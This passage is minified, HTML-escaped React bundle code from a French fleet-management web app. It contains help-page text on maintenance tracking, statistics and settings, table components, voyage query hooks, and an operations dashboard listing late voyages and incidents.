historique&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Filtres et recherche :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Barre de recherche&quot;}),&quot; : Recherchez par type d&#039;entretien, description, ou notes&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Filtre par équipement&quot;}),&quot; : Utilisez le menu déroulant pour filtrer par véhicule ou remorque spécifique&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Tous les équipements&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Un véhicule spécifique (affiché avec son immatriculation)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Une remorque spécifique (affichée avec son numéro de châssis et nom si disponible)&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Filtre par statut&quot;}),&quot; : Utilisez les onglets pour filtrer par statut (Tous, Planifiés, En cours, Terminés, En retard)&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Indicateurs visuels :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;span&quot;,{className:&quot;inline-block w-3 h-3 rounded-full bg-red-500 mr-2&quot;}),a.jsx(&quot;strong&quot;,{children:&#039;Badge rouge &quot;En retard&quot;&#039;}),&quot; : Affiche le nombre d&#039;entretiens en retard pour un équipement&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Badges de statut&quot;}),&quot; : Chaque carte d&#039;entretien affiche un badge coloré indiquant son statut&quot;,a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside ml-4 mt-1 space-y-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Planifié : Badge avec couleur spécifique&quot;}),a.jsx(&quot;li&quot;,{children:&quot;En cours : Badge distinctif&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Terminé : Badge de confirmation&quot;}),a.jsx(&quot;li&quot;,{children:&quot;En retard : Badge d&#039;alerte&quot;})]})]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Icônes de type&quot;}),&quot; : Chaque type d&#039;entretien a une icône distinctive pour identification rapide&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Photos&quot;}),&quot; : Les entretiens avec photos affichent une miniature sur la carte&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Suivi et historique :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Pour chaque équipement, vous pouvez voir tous les entretiens (planifiés, en cours, terminés)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;L&#039;historique complet permet de suivre la maintenance préventive et curative&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les dates et kilométrages enregistrés permettent d&#039;établir des calendriers de maintenance&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les coûts enregistrés permettent de suivre les dépenses de maintenance par équipement&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les documents (photos, justificatifs) sont conservés pour référence future&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-3 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-base&quot;,children:&quot;Bonnes pratiques :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground ml-2&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Planifiez les entretiens préventifs à l&#039;avance pour éviter les pannes&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Utilisez le kilométrage prévu pour planifier les entretiens basés sur l&#039;usage&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Traitez rapidement les entretiens en retard pour maintenir la flotte en bon état&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Enregistrez toujours les pièces remplacées et les coûts pour un suivi financier précis&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Ajoutez des photos et justificatifs pour documenter les travaux effectués&quot;}),a.jsx(&quot;li&quot;,{children:`Consultez régulièrement l&#039;onglet &quot;En retard&quot; pour identifier les entretiens urgents`}),a.jsx(&quot;li&quot;,{children:&quot;Pour les remorques, utilisez des dates plutôt que le kilométrage (les remorques n&#039;ont pas de compteur)&quot;})]})]})]})]}),a.jsxs(Il,{value:&quot;statistiques&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Jv,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Statistiques&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Consulter les statistiques :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Les statistiques sont organisées par onglets : Vue d&#039;ensemble, Revenus, Dépenses, etc.&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Vous pouvez filtrer par période (jour, semaine, mois, année)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les graphiques et tableaux permettent d&#039;analyser les performances&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Exportez les données pour des analyses approfondies&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Types de statistiques disponibles :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Vue d&#039;ensemble : indicateurs clés de performance&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Revenus : revenus par voyage, par période&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Dépenses : dépenses de voyage, entretiens, carburant&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Véhicules : utilisation, kilométrage, coûts&quot;})]})]})]})]}),a.jsxs(Il,{value:&quot;parametres&quot;,children:[a.jsx(jl,{children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(zm,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:&quot;Paramètres&quot;})]})}),a.jsxs(Nl,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Référentiels :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Équipements&quot;}),&quot; : Gérez les véhicules et remorques (ajout, modification, suppression)&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Équipage&quot;}),&quot; : Gérez les membres d&#039;équipage et leurs informations&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Types de voyages&quot;}),&quot; : Configurez les types de voyages disponibles&quot;]}),a.jsxs(&quot;li&quot;,{children:[a.jsx(&quot;strong&quot;,{children:&quot;Lieux&quot;}),&quot; : Gérez les lieux de chargement et déchargement&quot;]})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Organisation :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Configurez les informations de l&#039;organisation (nom, adresse, contacts)&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Gérez le logo de l&#039;organisation&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Configurez les contacts d&#039;urgence pour la PWA chauffeur&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Paramétrez les intégrations (Cloudinary, etc.)&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Utilisateurs :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Créez et gérez les comptes utilisateurs&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Assignez les rôles et permissions&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Modifiez les informations des utilisateurs&quot;})]})]})]})]})]})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Px,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Astuces et bonnes pratiques&quot;]}),a.jsx(Ms,{text:&quot;Utilisez le menu latéral pour accéder rapidement aux sections. Sur mobile, le menu est accessible en bas de l&#039;écran. La plupart des listes sont filtrables et recherchables. Les fonctionnalités accessibles dépendent de votre rôle. Vérifiez régulièrement la page des incidents pour identifier rapidement les problèmes. Planifiez les entretiens préventifs à l&#039;avance. Enregistrez toujours les pièces remplacées et les coûts pour un suivi financier précis.&quot;,title:&quot;Astuces et bonnes pratiques&quot;,size:&quot;sm&quot;})]})}),a.jsxs(Et,{className:&quot;space-y-3 text-sm&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Navigation :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Utilisez le menu latéral pour accéder rapidement aux sections&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Sur mobile, le menu est accessible en bas de l&#039;écran&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Le bouton de rafraîchissement permet de mettre à jour les données&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Recherche et filtres :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;La plupart des listes sont filtrables et recherchables&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Utilisez les filtres pour affiner vos recherches&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Les résultats peuvent être exportés en format CSV ou Excel&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2 pt-2 border-t&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold&quot;,children:&quot;Permissions :&quot;}),a.jsxs(&quot;ul&quot;,{className:&quot;list-disc list-inside space-y-1 text-muted-foreground&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Les fonctionnalités accessibles dépendent de votre rôle&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Certaines actions nécessitent des permissions spécifiques&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Contactez un administrateur pour modifier vos permissions&quot;})]})]})]})]}),a.jsx(it,{className:&quot;border-t-2&quot;,children:a.jsx(Et,{className:&quot;pt-6 pb-6&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col items-center justify-center space-y-3 text-center&quot;,children:[a.jsx(&quot;img&quot;,{src:&quot;/jrb-xsolutions-logo.png&quot;,alt:&quot;JRB XSolutions Logo&quot;,className:&quot;h-16 w-auto object-contain&quot;,onError:i=&gt;{i.target.style.display=&quot;none&quot;}}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-1&quot;,children:[a.jsx(&quot;h3&quot;,{className:&quot;text-lg font-bold&quot;,children:&quot;JRB XSolutions&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground italic&quot;,children:&quot;Des solutions digitales accessibles à tous&quot;}),a.jsx(&quot;a&quot;,{href:&quot;https://www.jrbxsolutions.com&quot;,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer&quot;,className:&quot;text-sm text-primary hover:underline inline-block&quot;,children:&quot;www.jrbxsolutions.com&quot;})]})]})})})]})}const nx=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;div&quot;,{className:&quot;relative w-full overflow-auto&quot;,children:a.jsx(&quot;table&quot;,{ref:r,className:nr(&quot;w-full caption-bottom text-sm&quot;,e),...t})}));nx.displayName=&quot;Table&quot;;const ix=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;thead&quot;,{ref:r,className:nr(&quot;[&amp;_tr]:border-b&quot;,e),...t}));ix.displayName=&quot;TableHeader&quot;;const ax=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;tbody&quot;,{ref:r,className:nr(&quot;[&amp;_tr:last-child]:border-0&quot;,e),...t}));ax.displayName=&quot;TableBody&quot;;const OPe=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;tfoot&quot;,{ref:r,className:nr(&quot;border-t bg-muted/50 font-medium [&amp;&gt;tr]:last:border-b-0&quot;,e),...t}));OPe.displayName=&quot;TableFooter&quot;;const n0=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;tr&quot;,{ref:r,className:nr(&quot;border-b transition-colors hover:bg-muted/50 data-[state=selected]:bg-muted&quot;,e),...t}));n0.displayName=&quot;TableRow&quot;;const bi=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;th&quot;,{ref:r,className:nr(&quot;h-12 px-4 text-left align-middle font-medium text-muted-foreground [&amp;:has([role=checkbox])]:pr-0&quot;,e),...t}));bi.displayName=&quot;TableHead&quot;;const mi=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;td&quot;,{ref:r,className:nr(&quot;p-4 align-middle [&amp;:has([role=checkbox])]:pr-0&quot;,e),...t}));mi.displayName=&quot;TableCell&quot;;const LPe=I.forwardRef(({className:e,...t},r)=&gt;a.jsx(&quot;caption&quot;,{ref:r,className:nr(&quot;mt-4 text-sm text-muted-foreground&quot;,e),...t}));LPe.displayName=&quot;TableCaption&quot;;function kA({title:e,value:t,icon:r,trend:n,color:i=&quot;primary&quot;}){const s={primary:&quot;bg-primary/10 text-primary&quot;,secondary:&quot;bg-secondary/10 text-secondary-foreground&quot;,accent:&quot;bg-accent/10 text-accent-foreground&quot;};return a.jsxs(it,{className:&quot;p-4 md:p-6 hover-elevate flex flex-col justify-between&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex justify-end mb-4&quot;,children:a.jsx(&quot;div&quot;,{className:`rounded-lg p-3 md:p-4 flex-shrink-0 ${s[i]}`,children:a.jsx(r,{className:&quot;h-6 w-6 md:h-8 md:w-8&quot;})})}),a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col gap-3&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-xs md:text-sm font-medium uppercase tracking-wide text-muted-foreground leading-tight break-words&quot;,children:e}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;p&quot;,{className:&quot;text-4xl md:text-5xl font-bold truncate&quot;,children:t}),n&amp;&amp;a.jsx(&quot;p&quot;,{className:&quot;mt-1 text-xs text-muted-foreground truncate&quot;,children:n})]})]})]})}function Vw(e){return cr({queryKey:[&quot;/api/voyages&quot;,e],queryFn:()=&gt;vy(e)})}function D8(e){return cr({queryKey:[&quot;/api/voyages&quot;,e],queryFn:()=&gt;_S(e),enabled:!!e})}function MPe(){const{toast:e}=Er();return _r({mutationFn:t=&gt;cz(t),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le voyage a été créé avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de créer le voyage&quot;})}})}function UPe(){const{toast:e}=Er();return _r({mutationFn:({id:t,data:r})=&gt;uz(t,r),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),e({title:&quot;Succès&quot;,description:&quot;Le voyage a été mis à jour avec succès&quot;})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de mettre à jour le voyage&quot;})}})}function zPe(){const{toast:e}=Er();return _r({mutationFn:async t=&gt;await dz(t),onSuccess:t=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de supprimer le voyage&quot;})}})}function $Pe(){const{toast:e}=Er();return _r({mutationFn:({voyageId:t,mode:r})=&gt;mz(t,r),onSuccess:t=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/voyages&quot;]}),jt.invalidateQueries({queryKey:[&quot;/api/trips&quot;]}),e({title:&quot;Succès&quot;,description:`${t.count} trajet(s) créé(s) avec succès`})},onError:t=&gt;{e({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:t.message||&quot;Impossible de créer les trajets&quot;})}})}function fY(e){return cr({queryKey:[&quot;/api/voyages&quot;,e,&quot;mission-order&quot;],queryFn:()=&gt;pz(e),enabled:!!e})}function HPe(e){if(!e)return!1;const t=typeof e==&quot;string&quot;?new Date(e):e;if(isNaN(t.getTime()))return!1;const r=new Date,n=new Date(r.getFullYear(),r.getMonth(),r.getDate()),i=new Date(n);return i.setDate(i.getDate()+1),t&gt;=n&amp;&amp;t&lt;i}function jF(e){if(!e)return!1;const t=typeof e==&quot;string&quot;?new Date(e):e;return isNaN(t.getTime())?!1:t&lt;new Date}function qPe(){const[,e]=Gi(),{data:t=[],isLoading:r}=Vw(&quot;in_progress&quot;),{data:n=[],isLoading:i}=Vw(&quot;planned&quot;),{data:s=[],isLoading:o,error:l}=cr({queryKey:[&quot;/api/incidents&quot;],queryFn:()=&gt;MS()}),{data:c=[],isLoading:d,error:u}=cr({queryKey:[&quot;/api/vehicles&quot;]}),h=I.useMemo(()=&gt;t.slice(0,10),[t]),p=kO({queries:h.map(C=&gt;({queryKey:[&quot;/api/voyages&quot;,C.id,&quot;events&quot;],queryFn:()=&gt;D4(C.id),enabled:h.length&gt;0}))}),A=I.useMemo(()=&gt;{const C=t.length,Q=n.filter(P=&gt;P.plannedStartAt?jF(P.plannedStartAt):!1).length,R=s.filter(P=&gt;P.status===&quot;ouvert&quot;||P.status===&quot;en_cours&quot;).length,M=p.map(P=&gt;P.data||[]).flat().filter(P=&gt;P.isRead===!1).length,O=c.filter(P=&gt;P.status===&quot;maintenance&quot;||P.status===&quot;hors_service&quot;).length,$=n.filter(P=&gt;P.plannedStartAt?HPe(P.plannedStartAt):!1).length;return{voyagesEnCours:C,voyagesEnRetard:Q,incidentsOuverts:R,evenementsNonLus:M,vehiculesIndisponibles:O,voyagesPlanifiesAujourdhui:$}},[t,n,s,c,p]),y=I.useMemo(()=&gt;{const C=n.filter(R=&gt;R.status!==&quot;planned&quot;||!R.plannedStartAt?!1:jF(R.plannedStartAt)).sort((R,T)=&gt;!R.plannedStartAt||!T.plannedStartAt?0:new Date(R.plannedStartAt).getTime()-new Date(T.plannedStartAt).getTime()).slice(0,5),Q=n.filter(R=&gt;R.status!==&quot;planned&quot;?!1:!R.vehicleId||!R.mainDriverId).sort((R,T)=&gt;{const M=R.plannedStartAt?new Date(R.plannedStartAt).getTime():0,O=T.plannedStartAt?new Date(T.plannedStartAt).getTime():0,$=Date.now(),P=M&lt;$,L=O&lt;$;return P&amp;&amp;!L?-1:!P&amp;&amp;L?1:M-O}).slice(0,5);return{voyagesEnRetard:C,voyagesIncomplets:Q}},[n]),v=I.useMemo(()=&gt;{const C=s.filter(R=&gt;(R.status===&quot;ouvert&quot;||R.status===&quot;en_cours&quot;)&amp;&amp;!R.assignedTo).sort((R,T)=&gt;{const M={urgente:4,haute:3,normale:2,basse:1},O=M[R.priority]||0,$=M[T.priority]||0;return O!==$?$-O:new Date(T.createdAt).getTime()-new Date(R.createdAt).getTime()}).slice(0,5),Q=s.filter(R=&gt;R.status===&quot;ouvert&quot;||R.status===&quot;en_cours&quot;).sort((R,T)=&gt;{const M={urgente:4,haute:3,normale:2,basse:1},O=M[R.priority]||0,$=M[T.priority]||0;return O!==$?$-O:new Date(R.createdAt).getTime()-new Date(T.createdAt).getTime()}).slice(0,5);return{incidentsNonAssignes:C,incidentsASuivre:Q}},[s]),w=I.useMemo(()=&gt;[...t].sort((Q,R)=&gt;{const T=Q.startAt?new Date(Q.startAt).getTime():0,M=R.startAt?new Date(R.startAt).getTime():0;return!Q.startAt&amp;&amp;!R.startAt?0:Q.startAt?R.startAt?T-M:-1:1}).slice(0,10),[t]),j=I.useMemo(()=&gt;{const C=new Map;return s.filter(Q=&gt;(Q.status===&quot;ouvert&quot;||Q.status===&quot;en_cours&quot;)&amp;&amp;Q.voyageId).forEach(Q=&gt;{const R=C.get(Q.voyageId)||0;C.set(Q.voyageId,R+1)}),C},[s]),E=I.useMemo(()=&gt;{const C=new Map;return t.forEach(Q=&gt;{C.set(Q.id,Q)}),C},[t]),S=I.useMemo(()=&gt;p.map(R=&gt;R.data||[]).flat().sort((R,T)=&gt;{const M=new Date(R.occurredAt).getTime();return new Date(T.occurredAt).getTime()-M}).slice(0,10),[p]);r||i||o||d||p.some(C=&gt;C.isLoading),I.useEffect(()=&gt;{p.forEach((C,Q)=&gt;{C.error})},[l,u,p,h]);const _=(C,Q,R)=&gt;R?&quot;!&quot;:Q?&quot;--&quot;:C??0;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Tableau de bord&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Vue d&#039;ensemble de vos opérations&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-4&quot;,children:[a.jsx(kA,{title:&quot;Voyages en cours&quot;,value:_(A.voyagesEnCours,r,!1),icon:ei,color:&quot;primary&quot;}),a.jsx(kA,{title:&quot;Voyages en retard&quot;,value:_(A.voyagesEnRetard,i,!1),icon:Bl,color:&quot;secondary&quot;}),a.jsx(kA,{title:&quot;Incidents ouverts&quot;,value:_(A.incidentsOuverts,o,!!l),icon:Kn,color:&quot;accent&quot;}),a.jsx(kA,{title:&quot;Événements non lus&quot;,value:_(A.evenementsNonLus,p.some(C=&gt;C.isLoading),p.some(C=&gt;C.error)),icon:LD,color:&quot;primary&quot;}),a.jsx(kA,{title:&quot;Véhicules indisponibles&quot;,value:_(A.vehiculesIndisponibles,d,!!u),icon:Fa,color:&quot;secondary&quot;}),a.jsx(kA,{title:&quot;Voyages planifiés aujourd&#039;hui&quot;,value:_(A.voyagesPlanifiesAujourdhui,i,!1),icon:Sl,color:&quot;accent&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 lg:grid-cols-2 gap-6&quot;,children:[a.jsxs(it,{className:&quot;flex flex-col max-h-[420px]&quot;,children:[a.jsxs(br,{className:&quot;flex-shrink-0&quot;,children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(na,{className:&quot;h-5 w-5&quot;}),&quot;À traiter maintenant&quot;,a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;ml-1&quot;,children:y.voyagesEnRetard.length+y.voyagesIncomplets.length})]}),a.jsx(wn,{children:&quot;Actions nécessitant une attention immédiate&quot;})]}),a.jsx(Et,{className:&quot;flex-1 overflow-y-auto min-h-0&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;h4&quot;,{className:&quot;text-sm font-semibold mb-1.5 flex items-center gap-2&quot;,children:[a.jsx(Bl,{className:&quot;h-4 w-4 text-destructive&quot;}),&quot;Voyages en retard&quot;]}),i?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement...&quot;}):y.voyagesEnRetard.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucun voyage en retard&quot;}):a.jsx(&quot;ul&quot;,{className:&quot;space-y-1.5&quot;,children:y.voyagesEnRetard.map(C=&gt;a.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 p-1.5 rounded-md border bg-card hover:bg-accent/50 transition-colors&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-0.5&quot;,children:[a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:C.code||C.title||`Voyage #${C.id}`}),a.jsx(yt,{variant:&quot;destructive&quot;,className:&quot;text-xs&quot;,children:&quot;Retard&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground truncate&quot;,children:C.clientName}),C.plannedStartAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;Prévu le &quot;,Wr(new Date(C.plannedStartAt),&quot;dd MMM yyyy à HH:mm&quot;,{locale:Hr})]})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs flex-shrink-0&quot;,onClick:()=&gt;e(`/voyages/${C.id}`),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Ouvrir&quot;]})]},C.id))})]}),a.jsxs(&quot;div&quot;,{children:[a.jsxs(&quot;h4&quot;,{className:&quot;text-sm font-semibold mb-1.5 flex items-center gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-4 w-4 text-orange-500&quot;}),&quot;Voyages incomplets&quot;]}),i?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Chargement...&quot;}):y.voyagesIncomplets.length===0?a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Aucun voyage incomplet&quot;}):a.jsx(&quot;ul&quot;,{className:&quot;space-y-1.5&quot;,children:y.voyagesIncomplets.map(C=&gt;{const Q=[];return C.vehicleId||Q.push(&quot;Véhicule&quot;),C.mainDriverId||Q.push(&quot;Chauffeur&quot;),a.jsxs(&quot;li&quot;,{className:&quot;flex items-start justify-between gap-2 p-1.5 rounded-md border bg-card hover:bg-accent/50 transition-colors&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex-1 min-w-0&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-2 mb-0.5&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;text-sm font-medium&quot;,children:C.code||C.title||`Voyage #${C.id}`})}),a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[Q.join(&quot; et &quot;),&quot; manquant&quot;,Q.length&gt;1?&quot;s&quot;:&quot;&quot;]}),C.plannedStartAt&amp;&amp;a.jsxs(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:[&quot;Prévu le &quot;,Wr(new Date(C.plannedStartAt),&quot;dd MMM yyyy&quot;,{locale:Hr})]})]}),a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;h-7 px-2 text-xs flex-shrink-0&quot;,onClick:()=&gt;e(`/voyages/${C.id}`),children:[a.jsx(Id,{className:&quot;h-3 w-3 mr-1&quot;}),&quot;Assigner&quot;]})]},C.id)})})]})]})}),a.jsx(_m,{className:&quot;flex-shrink-0 border-t pt-3&quot;,children:a.jsxs(ge,{variant:&quot;ghost&quot;,size:&quot;sm&quot;,className:&quot;w-full text-xs&quot;,onClick:()=&gt;e(&quot;/voyages&quot;),children:[&quot;Voir tous les voyages&quot;,a.jsx(Id,{className:&quot;h-3 w-3 ml-2&quot;})]})})]}),a.jsxs(it,{className:&quot;flex flex-col max-h-[420px]&quot;,children:[a.jsxs(br,{className:&quot;flex-shrink-0&quot;,children:[a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Kn,{className:&quot;h-5 w-5&quot;}),&quot;Incidents&quot;,a.jsx(yt,{variant:&quot;secondary&quot;,className:&quot;ml-1&quot;,children:v.incidentsNonAssignes.length+v.incidentsASuivre.length})]}),a.jsx(wn,{children:&quot;Incidents récents nécessitant un suivi&quot;})]}),a.jsx(Et,{className:&quot;flex-1 overflow-y-auto 